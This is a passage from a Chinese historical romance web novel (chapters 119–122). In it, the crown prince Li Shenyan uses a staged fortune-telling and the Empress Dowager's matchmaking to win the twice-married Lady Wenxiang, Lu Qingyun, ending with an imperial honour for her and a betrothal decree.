法显微微一笑,“方才演算之际,贫僧已为太子算过。天河水命之女极其难得,但正巧,席中就有一人,只不知具体为哪位。若能得诸位生辰八字,便可知晓。” 太后二话不说,当即叫众人把生辰八字写出。 清蕴:“……” 不用想,她也知道接下来是什么戏码。 李审言竟用了和她当初一样的招数。 第119章 陆清蕴,我们天生一对 第一批被收上去的生辰八字为在场宾客中的所有未婚女子, 法显摇头。 太后若有所思,看向周围服侍的宫女,令她们一一去法显身前测算。 她想,莫非在自己不知情时, 小孙子和哪个宫女好上了, 碍于对方身份太低, 所以迟迟不愿告诉自己? 被她目光扫到的宫女纷纷低头。 结果仍没有符合之人。 太后眼前一黑, 视线最后对上那些命妇,这些人要么可以当孙子的娘, 要么和自己年纪差不多,总不能是她们吧? 她犹豫之际,法显主动下座,走到清蕴身前,“不知这位是?” 卢太夫人欲言又止, 孟茵亦微微睁大眼。 宫女为其介绍清蕴身份。 法显笑着双手合十, 道了声有缘人,请清蕴赐下生辰八字。 众人先惊,而后忍不住好奇, 频频在清蕴和李审言之间来回打量。 被她们关注的人,一个安静垂首、不发一言,一个八风不动、置若罔闻。 接下来,一切水到渠成, 在法显的大力宣扬下, 在场所有人都知道了, 太子命格特殊, 只有文襄夫人才能与之相配。 问题是,文襄夫人有过两任夫君, 第一任是太子亲兄长,第二任为内阁大臣,且与后一任刚刚和离。 王家那位明显还对文襄夫人念念不忘啊。 虽然很想看这场关于皇家的戏,但有些热闹不好凑。不用太后提醒,女客们都识趣地在她发话前告退。 清蕴被请到了偏殿暂歇。 恍着神被人扶回去,太后想到,当初儿媳要为长孙求娶清蕴,就是因二人八字相配。 莫非清蕴天生就该配李家男儿不成? 兀自思索半晌,太后低咳一声,看向孙儿,“法显大师的话,你怎么看?” “您老人家喜欢礼佛,我不过请他来让您开心开心。至于其他的,权当没听到吧。”李审言不甚在意地抛着苹果,一口咬下,被冰得倒牙,“大冬天的,这里怎么还备着冰镇果子?” “不许打岔。”太后白他一眼,陷入沉思。 许久,她挥退宫人,仅留周嬷嬷从旁伺候。 “二郎,你如今真没有心仪之人?”太后试探。 李审言“嘎嘣”啃了口果子,以作回答。 太后:“……那你如何看待清蕴?” “能怎么看?”李审言道,“和我又没关系。” 太后深居简出,从前在齐国公府时就经常待在佛堂不出门。镇安帝登基后,又待在宫中养病,对前朝之事从不打探。在镇安帝和李审言的有意隐瞒下,完全不知孙儿对清蕴的觊觎和蓄谋已久。 听到法显的批言,纠结不已。 以二人身份,这姻缘线牵得着实离谱了些。 何况,审言软硬不吃,若让他因法显的批言娶清蕴,定不愿意。且清蕴那儿,也不是能随意指婚的身份。 太后心中犹豫。 她缓缓道:“没关系就没关系吧,我看也不怎么可靠,这批言简直是无稽之谈。” 李审言动作顿住,余光瞟向祖母,确定老太太为法显的话所动摇,竟没有强行逼他? 求娶清蕴,对他而言最大的难题已经解决,镇安帝那儿是默许状态,唯独太后这儿,必须使点与众不同的方法。不然老太太倔起来,还得闹出事端。 他沉住气,“您能想明白就好。” 太后摆手,“我又没老糊涂,好了,你自忙去吧。” 李审言抬步离开。 很快,他就知道了太后的打算。因为她留下了清蕴,以自己独自居于后宫、颇为寂寞的说法,让清蕴在宫里住一段时日。 得知消息时,李审言唇角微勾,看得孟嘉连连摇头,“殿下要称心如意了?” “应当快了。”丢颗葡萄给他,李审言开怀道:“主意不错,当赏。” 接住葡萄,孟嘉投入口中,感受清甜的汁液在舌尖蔓延,无奈道:“回头殿下千万别说这主意是臣出的就行。” 他纯粹是不想再让堂妹孟茵“倒霉”下去。 要知道,每次孟茵“倒霉”,都是他被迫暗暗出手。再这样下去,他都担心自己整日只能忙这些。 李审言眼中闪过笑意,说起正事,“那个荀垣如何了?” 孟嘉正色,“得殿下嘱托,荀垣进京后,臣曾见过他一次。此人性情虽不同寻常,但有真才实干,确实适合在大理寺任职。进大理寺一月,他已经崭露头角,引起了王大人注意。再过不久吏部考功,定有他一席之地。” 李审言:“他可有到哪里走动?” 孟嘉:“不曾。” 李审言嗯了声,“先压一压,近半年不要让他升职,再看他有何反应。” 孟嘉讶异,意识到太子对荀垣此人有更高期许。 ………… 李审言能够随时筹谋清蕴的事,见缝插针地陪她,并非他太闲,而是把自己的时间压缩到了极致。 他随镇安帝平乱得帝位,在东西两营练兵。除此之外,还在户部领了差事。每天大致的行程是,卯时启程前往东营或西营,路途花费一个时辰,在营中待三个时辰,未时往回赶,申时出到户部。 如果遇上朝会,回来的时辰还要更晚些。 在户部待的通常不会超过一个时辰,余下时间就可以任由支配。 如此下来,他一天最多睡三个时辰。 不过他天生身体强健,精力旺盛,日日如此也不见疲态。 清蕴住到宫里后,李审言回东宫的次数大大增加。 这天,好不容易从户部回来,他应太后要求到她宫中用饭,桌上一起的,自然还有清蕴。 圆桌不算大,摆六道菜就满满当当。太后平时茹素,为他们添了八宝鸭、清蒸鱼等荤菜,秉持“食不言寝不语”的规矩,徐徐用饭,然余光一直注意面前两个小辈。 随后发现,二人连个眼神交流都没有。 看着两人一前一后地离开,她对周嬷嬷道:“我还是觉得不大妥当,就算法显大师批言为真,总不能按头让他们成婚。何况……清蕴曾嫁给少思,他们夫妻情深,若非意外,这孩子该一直是二郎的嫂嫂。” 周嬷嬷为太后斟了盏安神茶,柔声道:“如今世上再嫁的女子不知多少,在大公子过后,文襄夫人不是也二嫁给了王大人么?可见她心底并不抵触此事。太子殿下是您看着长大的,文襄夫人您也素来赏识,兜兜转转算出他们二人有缘,可见是上天安排。依老奴看,太子殿下是属石磨的,得推着才肯转。文襄夫人又是个玲珑心肠,察觉得出您的意思,寻常手段怕是不成。” 她见太后听进去可,压低声音续道:“倒不如借着礼佛的名头,让文襄夫人替您抄录《妙法莲华经》。这经书共七卷二十八品,少说也得抄上大半月。届时您再让太子殿下代您去取经卷” 太后被说动了,“我记得,西苑梅林深处的藏经阁最是清净?” “正是呢,那阁子里炭火总烧得不足,少不得要人添茶研墨。”周嬷嬷将手炉塞进太后掌心,“法显大师前日说要在宫中设七日法会,老奴想着,让文襄夫人帮着核对祭器名册,太子殿下协理禁军布防……” 话未说完,外头突然传来瓷器碎裂声。太后透过帘缝,只见清蕴抱着几卷书立在廊下,杏色裙裾沾着茶渍,李审言正俯身去拾她脚边的青瓷碎片。 暮色里,玄色蟒袍与绯色襦裙交叠,虽不曾有目光相触,但分外和谐。 何时见审言这么有礼过? 太后慢慢下定决心,“就按你说的办。” 不管最终成不成,总要试一试。 出了寿宁宫,清蕴目不斜视地朝前走,对李审言故意露出的伤口视而不见。 “好狠的心,这伤可是帮文襄夫人挡碎瓷而来。”廊下无人,李审言边倒退着走,边看清蕴。 “如果不是太子,那瓷瓶也不会落地。”清蕴撩起眼皮,“这伤是该赶紧去太医院,不然就要愈合了。” 李审言顿时笑起来,爽朗开怀,“走吧,带你去个地方。” 这也是他今日特意提前下值的目的。 “……去哪儿?”嘴上问着这句话,清蕴已经随他的步伐偏离路径,回头看向白芷,她自觉地保持了一段距离跟随。 熟练地绕过守卫,步步走向目的地。途中见清蕴因衣裙行走不快,干脆接过她怀中书卷,再拉住她衣袖,而后慢慢的,转为握住她的手。 他手掌宽大,掌心和指腹有茧,温热有力,带着一往无前的力量。被这样紧紧握着,永远都不用担心会找不到前路。 清蕴低眸看了眼二人双手交握处,没有开口,也未挣开。 行走到熟悉的地方,她恍然道:“午门?” 午门为紫禁城正门,凡遇重大典礼皆在此举行。它台基就有近四丈高,墙高十二丈有余,主楼和侧楼组成“凹”字形,恢宏大气,尽显威严。 李审言显然提前做好了安排,一路向上都没遇见侍卫,直至登顶。 他仍未松手,扬眉示意,“看此处风景如何?” 暮色如金箔熔铸,自琉璃瓦顶倾泻。 清蕴俯瞰而去,看到巍峨宫阙自脚下铺展,九重门阙次第洞开。 她看得出神。 不知何时,他的气息已离得极近,“你很喜欢这些风景,是不是?” 微微后退一步,清蕴不动声色,“为何这么说?” 李审言:“如果你当真喜欢平淡宁静的日子,便不会进入王家,不会嫁给李秉真,更不会在和王宗赫成婚当晚,拒绝我。” 他张开双臂,往后方城墙一靠,眉宇间神采奕奕,“恰巧,我也是如此。” 他道:“陆清蕴,我们天生一对。” 第120章 缘如风过隙,未肯释余温 立在广场遥望而去, 借着尚未暗淡的暮色,王宗赫能看见高墙上二人相拥的身影,一红一黑,极为明显。 他怔怔站在那儿。 无论之前如何欺骗自己, 说清蕴是受威胁或因其他而与他和离, 都没办法在此情此景下继续装聋作哑。 清蕴可以在人前伪装得温柔体贴, 在人后绝不会对毫无感情的人如此亲近。 李审言说了什么, 他们此刻又在因何相拥? 盏盏灯笼沿长廊燃起,点灯之人好奇看了眼站成木桩的王宗赫, 不知这位大人为何在此出神。观其衣袍至少是二品高官,便没敢打扰。 天色完全昏暗,再也没办法看到远处时,王宗赫上空多出一把伞。 疏影道:“爷,要下雪了。” “……已经到这个时候了。”王宗赫低声。 钦天监早就告知今年冬日会有大雪, 彼时王宗赫还逼自己沉浸在公务中。 疏影呼出一口寒气, “是啊,明天忙完就是年假,您终于可以休息一阵子了。” 王宗赫不语, 转身。 瞥了眼隐在夜色中的午门,疏影跟着往回走,故作轻松地开口,“过完除夕, 马上又是新的一年。” 届时气象不同, 许多事也可以有崭新的开始。 王宗赫:“确实, 你夫人来年二月便要生了吧。” 疏影一怔, 干笑道:“是啊,多谢爷记着。” 早知不该和主子说此事, 恐怕又勾得他伤心。 王宗赫确实被勾起了回忆,却并非伤心。 伤心是需要精力的,从在凤阳府听清蕴提出和离,到独自回京,再到真正和离,他不可能一直处于这种状态。 自觉该做的、能做的都已经尝试,却仍然无法挽回清蕴,起初浮现的情绪是自厌。 他知道自己从小就不讨女子喜欢,过于古板正经的性格、沉闷乏味的兴趣、不够温柔的体贴,种种相加,铸就了一个外人口中稳重可靠的他,却不是一个值得人喜爱的夫君。 那些夸他和清蕴伉俪情深的人,哪知其中有多少是清蕴的功劳。唯有她在前面引领,他才知自己该做什么、怎么做。 离开清蕴,王宗赫不过是个无趣至极的人。 曾经那么想和清蕴要个孩子,也不过是觉得这样会让彼此联系更加紧密,为自己添一份筹码。 如今,只能说上天也许都看穿了他卑劣的心思,所以没给他们赐下这个缘分。 见王宗赫又不说话了,疏影不擅长地努力找话题,“说起来,爷明年是不是要离开京城了?” 他贴身跟随,自然知道镇安帝曾找自家主子谈话,问其是否愿意以“钦命理漕大臣”的名义去江南一带管理漕运。 镇安帝此举有两重用意,一是进一步锻炼王宗赫,使其位置更稳,把他当做未来首辅培养。二则是让他出门散心,避开这段时间。 王宗赫:“会去两三月。” “这么短?”疏影微惊,他以为怎么也得一两年。 毕竟没法挽回,就只能靠时间遗忘。 王宗赫淡淡扫了他一眼,步伐不变,“去两三月,或两三年,于我而言并无区别。能短时间做完的事,就不必拖延。” 他知道自己不可能忘记清蕴,既如此,不如把更多精力投入到官场。 疏影微怔,听出他的言下之意,暗道不好,主子莫不是有不再续娶的打算? 夫人固然令人难以忘怀,可主子还这么年轻…… 他定定神,“爷,我曾听过一段话,想说给您听听。” 王宗赫嗯了声。 疏影略一踌躇,将伞面压低三分:“拙荆尝言,缘法如云聚散,或长或短,或深或浅,皆由天定。若曾以诚心相待,纵使离散,亦非憾事。” 王宗赫意外看去。 疏影笑了笑,“我自幼跟随您读书习文,却不如她看得通透,是不是?” 王宗赫偏首,“你是指我虽贯通四书五经,却亦心有执念,不够通达?” “属下不敢。” 缓缓向前,王宗赫偏首望了眼空中开始飘扬的雪籽,驻足,目色深深,“暮雪侵衣重,孤灯照影深。” 疏影撑伞的手微紧,半晌,听他吐出后两句。 “缘如风过隙,未肯释余温。” 念出这首诗,王宗赫笑了两声,抬步离开长廊。 ** 这个年,太后舍下脸皮留了清蕴在宫中过。 镇安帝未置一词,他忍着没戳穿儿子已经算宽容,却不可能出手帮忙。 于是,在太后让他给李审言轻松点的差事时,镇安帝拒绝了,“太子为一国储君,将来要扛的是江山万民的担子。今日户部税银、明日边疆战报,桩桩件件都要从他手里过。现在图轻省,将来怎么镇得住朝堂?” 说着放缓语气,“母后疼孙儿的慈爱之心朕明白,可国事不是过家家,当年我习书读文、带兵打仗,三更灯火五更鸡鸣都是寻常。若连这点苦都吃不得,我倒要怀疑他配不配得上东宫之位了。” 太后:“好,他不配,你再找个能配的来。” 镇安帝:“……” “我不管那些,你还年轻,本就该好好带他。那些家国大事哪是一两天就能学会的?又哪里有能做完的时候?别人过年都能休沐,就太子在忙,他一个人能忙出什么来?”太后怒瞪,“到底不是自己带大的,不会心疼。” 镇安帝:“……” 跟着吵下去,那些往事都能被翻出来,镇安帝果断选择了休战,“行,那就听您的。” 太后满意了,她有许多计划,那都得审言有空才能做。 镇安帝只能默默看着儿子在太后面前做戏,把老太太哄得一愣一愣。 她还真以为是自己在努力促成这段姻缘。 半年又过,已入夏季,天气明显燥热起来。 在太后眼中,孙儿对清蕴已经明显越来越在意了。有时候说着不想理会对方的事,转眼其实在意得不得了。 殊不知私下里,李审言已经十二个时辰黏着人不放了。 “你当初说一年时间,如今大半年过去,我很确定心意没变过,到底什么时候肯给个名分?”李审言把脑袋窝在清蕴肩头,低低道,“文襄夫人给个准话吧。” 清蕴垂眸专心剪花,“一年到了再说。” 李审言恨恨磨牙,很想对着面前的细嫩脸蛋咬下去。两人分明通了心意,也解决了一切问题,执着于拖一年,就是为了王宗赫吧? 那人即使没了丈夫的身份,还有个表哥的名头。只要清蕴回王家,两人依然有见面的机会。 这点让李审言警惕心很强,所以名分一天没定下来,就一天不放心。 万一那人也死皮赖脸地缠着她呢? 李审言不想赌。 慢悠悠剪好花,清蕴转头回到桌前,准备给自己倒茶前,有只手先一步伸了过来。 她唇角飞快闪过笑意,捏着茶盏转了圈,忽然道:“听说陛下昨天谈史,问及一事出处,太子殿下没答上来?” 李审言:“……那么多史书,他总爱看那些偏门的,谁能全记住?” 清蕴:“《旧唐书》载甘露之变,文宗欲除宦官反遭囚禁,临轩问策时,独有李石从容奏对‘敕使纵横,此曹不可专任’。后来仇士良举着染血朝笏逼问圣人,文宗竟推说不知诛宦之事。” “事不可全知,亦不可忽。”清蕴抬眼,“陛下是在教你。” “他想教的多了去了。”李审言笑笑,忽然倾身咬住清蕴耳畔将落的茉莉,花汁染得唇色潋滟:“汉高祖皇帝自承‘运筹帷幄不如子房,镇国家不如萧何,战必胜不如韩信’,照样开创四百年基业。我如果今夜背全史书,明日天下就能太平,银两就能自动归仓么?” “不过……”李审言拉长声音,“你说的有一点对,我确实该多学些。” 清蕴好奇地“嗯?”了声。 “现在是老头子考校,不知道也没什么。万一明天儿女问我,也是一问三不知,那我这个当爹的脸可就丢尽了。” 清蕴:“……” 果然无论说什么,他都有本事扯回来。 不过她本来就是有意岔开话题,他的直觉倒是敏锐。 转头去理书架,李审言跟了上来,“其实我自幼没怎么读过书,也不喜欢读书。” 清蕴知道这事,并不奇怪。 “后来喜欢上了,是因为总看你捧着书看。”李审言挑眉,“让人不禁好奇,书里到底有什么,能令你爱不释手。” 清蕴想起当初在齐国公府,他有段时间频频来借书,并请她推荐。 她起初以为这个小叔子当真要开始学习,后来出了装醉时发现他冒认李秉真一事,便觉得他不怀好意,每逢他借书就敷衍过去。 李审言一看她神色,就猜到她想起了什么,抬手撑住书架,懒洋洋靠着,“所以,你当初果然没醉,是不是?” “不知太子在说什么。” 李审言勾唇,“你真醉和假醉可是很不一样,若当初真醉了,早在把我认成他人的时候,那些该发生不该发生的事,就都有了。” 他也是最近这阵子才想起来,更加意识到,陆清蕴想伪装时,根本无人能看出来。 是以,他接着道:“当初是假装不知我心意,如今,文襄夫人是不是又在假装尚未对我动心?” 定定看他许久,清蕴抬手掐了把他的脸颊,皮肉紧实,还真得用点力。 李审言站在原地任她掐,只是这样五官变形时,看起来未免有几分傻气。 李审言龇牙,“被我说中,恼羞成怒了?” “不,我只是在想,太子殿下脸上的肉到底有多厚。”清蕴抬起另一只手,双管齐下,彻底把他的脸掐成猪头。【魔蝎小说 mo xie xs .c om】 第 121 章【VIP】 第121章 亭中大雨 李审言保持这样的姿势笑, 甚至配合弯腰,口齿模糊,“不厚怎么配得上你?” 这人虽然行为上百依百顺,但嘴上总不饶人, 时不时就要来这么一句。 好在清蕴习惯了, 蹂躏够他的脸, 准备松手时被一把抓住, 紧贴在他结实的胸膛,“整天动手动脚, 摸也摸了,亲也亲了,睡也睡了,文襄夫人就是不准备对我负责,是不是?” 恰巧这时阿宽和白芷准备入内, 听到这话同时顿住, 默默收回脚步。 清蕴收回视线,“……何时睡了?” 李审言振振有词,“你冬日怕冷、入夏贪凉, 多少次都是我暗地里帮你盖被关窗,再默默守着,这样不算陪睡?” 只有他才能把暗中盯着人睡觉这件事说得如此光明正大,若是镇安帝在这, 指定要气笑, 然后把人禁足个十天半月。 清蕴这才知道, 她之前以为是白芷做的事, 竟有不少和他相关,不由好奇。“你整日那么忙, 怎么还有空天天来?” “时间总能挤出来。”李审言神态轻松。 默默盯他片刻,清蕴终于松口,“十本书。” 李审言疑惑望去。 “我列出十本书,太子何时能把它们熟读得七八,我就对你负责,如何?” 李审言很警惕,“你先把名单列出来。” 清蕴微微一笑,移步书桌前,挥手写下一串书名。李审言不如她博闻强识,好歹都认识是什么书。 《昭明通鉴》《两京赋役全书》《九边军需录》等书名列下来,他迅速在心里算了笔账。 这些书有的囊括极多,有的钻研颇深,不说深究,就是都通读一遍,按他的时间,如果半月一本,也至少需要五个月。 真算起来,还不如等一年期满。 可李审言想到天资超群的李秉真,再想到学富五车的王宗赫,对上清蕴含笑的眼,忽然点点头,“好。” 清蕴缓缓把纸递过去,“那就不等一年期满,而是等太子读完这十本书?” 李审言:“没问题。” 他又不傻,只默默盯书。既然她能信手列出书名,证明她对这些书早已熟络于心,他这个学问平平的人,时常来请教总没错。 清蕴深深看他一眼,也道声“好”。 她想看看,面对最不喜欢的读书,李审言能坚持到什么地步。 接下来,除去休沐的时候,李审言每天掐着点来清蕴居住的溶月轩。没有故意插科打诨的随意,没有吊儿郎当的笑脸,而是真的捧着书,每日和清蕴在亭中端坐。 他先挑了自己最感兴趣的《九边军需录》。 这是兵部职方司汇编,解密九边重镇粮饷调配、屯田养兵收支。清蕴之前能看到,还是因陈危之故。 她对这本书只能说大致了解内容,具体如何操作,却不如李审言反应得快。 加上休沐三天,李审言仅用十日就通读了这本书,并在清蕴提问时对答如流。 接下来,他又陆续攻读了五本,其中表现出的专注和才智,让镇安帝也大为吃惊。 转瞬入秋,李审言倚靠亭柱而坐,单膝屈起,右手置于其上,手中捧的是《南柯梦游记》。 这是本典型的山水游记,记载了各地山川名流、美食风俗,看起来基本不费什么心思,轻松惬意。 十本中竟有这么一本话本般的“闲书”,李审言颇为意外。 清蕴则静坐石桌旁,对着棋谱解残局。 李审言举着书,忽而开口,“这里说,苍梧山有种竹叶会在雨天唱歌。” 他眉间闪过兴味,指尖划过泛黄纸页上的水墨插图,“我倒觉得,这该是风声穿过笛竹的动静,你觉得呢?” 清蕴正执笔在古籍旁批注,闻言眼波微动,“两种皆有可能,毕竟世上无奇不有。” 李审言啪得合书,“那就拆了溶月轩的竹帘验看。” 说做就做,他当即起身往溶月轩,不多时抱了捆被他拆下的竹帘。 此处无雨,他就准备用叶管引水来作大雨。 清蕴亦来了兴致,跟着他一起转,看他步步搭建出一个简易的竹林,再往数根叶管灌入水流,成为一场淅淅沥沥的雨。 起初寻常,等他灌了大半桶水进去,渐渐的,两人都听到了一阵奇异的乐声,不由对视。 李审言眉眼都上扬起来,“看来这书确实没骗人。” 清蕴支颐看他纯粹的笑,不知不觉也跟着露出笑颜,“其实在这之前,我一直以为这是著者的夸张之言。” 李审言:“原来你自己都不清楚书中内容,却叫我来看?” 清蕴:“不可以吗?” 凝视她毫不心虚的神情,李审言勾唇,“当然可以,只是……” 他猛得放下叶管,一步上前,掐住清蕴腰侧把她提了起来,“有罚就该有奖,你之前说,只要求我熟读,现在我却连书中所绘都弄通了,是不是该有奖?” 无需李审言说出口,清蕴已经明白他要的奖励是什么。水光潋滟的双眸微闪两下,适时合上,抬头承住了他火热的气息。 李审言早已不再是当初只会靠轻咬和纠缠不放来表示亲近的青涩小子,他先不紧不慢地润过彼此唇瓣,再缓缓探入。 柔软、滑腻、馨香,李审言几乎醉死在此刻的温柔乡中。 慢慢的,天际传来细密裂帛声,狂风忽至,撞碎满庭秋光。 竟真的下雨了。 大雨撞碎亭角铜铃,响起阵阵凌乱乐音时,李审言正将清蕴抵在雕花廊柱上。花草气息混着湿润的雨水漫进齿关,他含住她舌尖的力度凶狠又缠绵。 清蕴后背抵着冰凉石柱,前胸却被炙热躯体熨出热汗。 雨水越来越大,淋湿的衣衫也遮不住彼此身体,更浇不灭李审言的欲望,反而使其越来越盛。 指尖顺着清蕴脊沟下滑,李审言扯松腰封,看湿透的素纱透出牡丹缠枝纹的小衣轮廓,动作忽然一顿,把她抱得更紧,紧到清蕴能清晰感受到他每寸紧绷的肌肉。 紧接着,李审言回身把石桌一推。亭帘后的机关咔嗒转动,琉璃顶棚自廊檐缓缓延伸,竟在亭前架起半幅水色穹顶。雨珠叮咚敲在琉璃瓦上,当真如碎玉击磬。 “这是工部新制的雨檐?”清蕴望着水幕中朦胧的风景,微微回神。 李审言唇角噙着极淡的笑:“去年见司天监用的浑天仪,突然想到这种机关可以用做屋顶,就在这里试了试,果真派上了用场。” 说着,轻咬上她颈侧,微微的疼痛带着一种刺激感,让清蕴忍不住仰首,双手撑住身后亭柱,偏头刚想张口,一个音节还没吐出就再次被吻住。 火热、强势,带着汹涌的情意。 李审言就着雨幕舔舐她红润的唇,“我看《南柯梦游记》第三卷 就写,亭中野合,当以天地为……” 剩下的话被清蕴反客为主的深吻堵住,她扯着他散落的发带缠住两人手腕。 暴雨顺着琉璃棚在亭外汇成溪流,里面的二人丝毫不受影响。 李审言本就只有两件衣裳,扒去外袍后,身体几乎清晰可见。 与之相对的,清蕴衣衫依然完好,唯有发髻略显凌乱。 李审言的外袍自然落在了她身上。 她悠悠后靠,眉目蕴着懒懒风情,意有所指道:“太子当真没事?” 岂止没事,李审言感觉整个人几乎快被火焰烧穿,但还是硬生生忍住了。 他固然不是什么守礼之人,清蕴方才也有默许之意,但他时刻保持警惕,总觉得这也是她的考验,就要看他定力够不够。 万一真到那步,说不定她会直接推开她,冷笑一声“不过如此”,从此反悔。 他可不会给她任何反悔的余地。 如果清蕴知道他的想法,八成会无语一阵,说一句“你想多了”。【魔蝎小说 mo xie xs .c om】 【终章】 第122章 饮尽此杯 秋高气肃, 清蕴在门外檐下支起美人榻,和着午后凉爽的风歇了个晌。 醒来后犹有几分昏沉,便用湿帕子蒙在脸上,继续躺着。 白芷从外走来, 见她这模样便知醒了, 轻声道:“主子, 织经堂、书院和彭掌柜那边有都信传来。” 清蕴声音从帕下传来, “你读吧,不想睁眼。” 白芷应声拆开信, 一一读来。 在彭掌柜保持和清蕴走动下,她手中的生意已经涉及酒楼、书店、珠宝阁、漕运等各方面,地点也从京城远至江苏、浙江等地。 把生意拓展到如今地步,清蕴反而没有以前那么上心了。她准备逐步放手,除去一些必要的生意, 其余就完全交给彭掌柜等人, 自己只占一二成即可。 和镇安帝等人接触愈久,她意识到,赚的银子并非越多越好。以她的地位, 继续贪图这些银子,未免有与民争利的嫌疑。 因此除去织经堂和学院,其他的事她都是简单知晓就好。 白芷深知这点,读信亦分了轻重。 当听到书院院长在信中呈禀江衡一事后, 清蕴微顿, 取下帕子问, “衡儿今年才十岁吧?” 白芷说是。 “给我看看。” 接过白芷手中的信, 清蕴一目十行。 经太后和李审言有意引导,如今京中许多人都知, 文襄夫人八成就是未来的太子妃。 镇安帝未出面反对,那就是默许。他和李审言父子联手从马上得来的帝位,都算得上年富力强,基本没什么能威胁得了这二人。 因此,察觉出两位意思后,百官中即便有意见,也识趣地没说出口。 毕竟,文襄夫人的前任夫君——王大人都能对他人的打量目光坦然受之,他们外人又有什么可以说道? 位高者达成共识,有些人为博名声,却在私底下批判清蕴,言辞多有激烈,道文襄夫人先后嫁二夫,曾克死第一任夫君,又引前朝炀帝争夺,实乃红颜祸水、不祥之女。 这种言论尚未大肆传播,但已有人议论,江衡在两大书院相会时听见,很是生气,当众做了篇文章驳斥此论。 文章先列数清蕴的经世之行,设书院以开黔首蒙昧,立织经堂而养孤寡残弱,二赈灾民活万命。反问那些书生可曾使一老妪免于冻馁,可曾令一稚子得闻诗书? 其中有段极其辱人,道其“醉卧父兄羽翼之下高谈儒道,吮吸姊妹膏血之时妄论正身”,讽刺他们为“市井蝇虫”。 那几个私下谈论的书生都几乎快及冠了,被江衡这么一个十岁少年如此教训,气得脸色青青紫紫,碍于他年纪太小,又不好动手。 院长特意附上文章原文,先夸赞了番江衡才华,然后询问清蕴,能不能把这篇文章宣扬出去。 仔细看过文章,清蕴先注意到的不是有人讥讽自己,而是年仅十岁的江衡就已能够熟练地引经据典、撰写文章,且言之有物、笔锋辛辣,完全算得上神童。 她想了想,回内屋写信,不仅允了此事,并让院长因类施教,从此不用让江衡和他人一起墨守成规地学。 清蕴记得当初三哥也夸赞过江衡,曾有教导他的意思,可惜二人如今身份特殊,即使他还记得这话,也不好再带江衡去。 书院的事了,织经堂那边便是如常呈禀堂中事务,没什么特殊。 清蕴搁下几封信,没把那些流言放在心上。 她固然在乎这些,也要名声,但经过这些年,无论是京中权贵,还是寻常百姓,对她都是赞誉居多。不过世上有那么多人,总有几个会持不同意见,也喜欢抱着和他人不同的看法,好似众人皆醉我独醒般。 如果连这点小事都要气,她未免气量太小。何况,如今她的名誉并非这一点流言就能撼动。 如清蕴所想,流言尚未成势前,她名下势力都接连出手为她澄清。 除此之外,以王、孟、夏、柳四家为首,也都在不同场合公然驳斥流言。 陈危如今掌管五城兵马司,手下则抓了一些带头的文人,以“妄议宫闱”“亵渎圣学”等罪名将这些人重罚一番,以儆效尤。 不出三日,流言就几乎消失得无影无踪。 李审言一直在老老实实地办差、读书,看起来毫无异状,清蕴还以为他不知道这事,随后在某日午后见到了他神采飞扬的脸。 “太子殿下心情如此好?”清蕴好奇。 李审言看向她,笑着道:“稍后你就知道。” 不出一刻钟,镇安帝的圣旨便来了。 这道圣旨由中书舍人拟写,经李审言润色,最终由天子朱笔勾定。 徐全高声念道【经纬天地曰文,德润苍生曰襄。陆氏掌书院而开民智千重,立织经堂以庇孤寡万户,活饥民于两赈,正蒙学于九边。此等经纶济世之才,当以国士待之。】 俯首听旨的清蕴忍不住朝一旁看去,李审言对上她目光,含笑挑眉,示意她继续听。 徐全仍在念,【虽遭际坎坷而志节不堕,诚为巾帼之英杰,女史之典范。今授「昭英阁学士」之职,掌天下藏书编撰、书院督查、蒙学兴革之事,凡国子监祭酒以下皆受质询。另赐玄玉夔龙符,凭此可入翰林院观孤本、调各州县志、查兵部职方司舆图。】 清蕴再掩不住惊讶之情。 昭英阁,陛下是专为她又设了一阁? 这道圣旨虽没有提到流言一事,但只凭“虽遭际坎坷而志节不堕”一句,就把先前流言中的“克夫”“祸水”等污名化说辞尽数驳倒。 当徐全将圣旨稳稳交到清蕴手中时,李审言倚着秋千架剥莲子,见清蕴接旨后若有所思的模样,随手抛了颗莲子到她掌心。 “如何?这道圣旨可比市井流言响亮百倍。”他道,“老头原本要赐你‘贞懿’之类的虚名,被我拦下了——我说,她救人活命是真,办学传道是真,根本不需要用那些空泛的贞节牌坊来装点。” “而且,这个应当是你更想要的,是不是?” 清蕴捏着莹润莲子,望向圣旨上【经世济民】【巾帼英杰】等字,不由莞尔,“你是怎么说服陛下和内阁的?” 夸是一回事,为她设阁,封为学士,意义可大不相同。 国子监祭酒以下皆受质询,足以让天下想要借婚嫁之事攻讦她的文人都有所顾忌,不敢随意污她名声,这是实权。 “他本就想帮你澄清流言,再有祖母一起劝,也就同意了。”李审言说着停顿了下,不情不愿地继续解释,“内阁那儿,由王宗赫出面解决。” 阵阵暖流涌上心头,从江衡开始,到大姐姐、晚儿、三哥、陛下,每个人都在坚定地支持她,为她出声。 清蕴素来信奉“利益”二字,到如今,这些已非这简单的词可以解释。 见人怔怔站在那儿,李审言俯首弯腰,从下方去仰视清蕴的脸,“莫不是哭了?” 清蕴:“……”看见这样的他,估计没人能哭出来。 李审言重新直起身,还道:“若是感动,以身相许也为时未晚。” 他神情含笑,语气一如既往得随意,清蕴却没有生气,伸手环抱住这人。 温香软玉主动送入怀中,李审言僵住。 “谢谢。”清蕴轻声。 李审言竟不自在起来,“有什么可谢,那些本来就是你的功绩,总不能只做事不要名,那是傻子才会做的。” 清蕴一哂,“言之有理。” 她做那些,难道毫无所求么?当然不可能。 权、名、利,如今皆如她所愿。 ** 立冬当日,在太后和李审言的催促下,镇安帝终于颁下赐婚旨意,来年三月初十便是李审言和清蕴的婚期。 对于一国储君的大婚而言,半年的准备稍微短了些。但对三十有余尚未成婚的太子而言,这个婚已经成得太晚。 不过他本人毫不介意年龄之事,一朝得偿所愿,整个人的愉悦显而易见,只差每根头发丝都飞扬起来。 东西两营的将士压力大减,其他衙门去找户部拨银子,也因太子的存在而格外顺利。 一时间,举朝尽欢。 清蕴搬出了宫,既没回王家,也没去水云观,而是住进了曾经的齐国公府、如今的文襄府。 这儿成了镇安帝赐给她的宅邸。 李审言亲自陪她搬家,但这回无论如何不肯让她住回月舍。 他道:“我把我原先的住处修葺了下,去看看?” 清蕴无可无不可地应了。 尚未进门,“日居”两个大字映入眼帘,清蕴回头。 李审言:“日居和月舍不是正好相对?” 用口型做出“幼稚”的字样,清蕴继续往里,不期然竟看见了熟悉的葡萄架,一时驻足。 李审言随之望去,笑道:“你以前很喜欢在这葡萄架下待着。” 走上前,抚过熟悉的木椅,清蕴目中闪过怀念,轻坐上去。 她喜欢的不止葡萄架,也是喜欢那时的生活。 不过……清蕴奇怪道:“你似乎没去过月舍,怎么知道此事?” 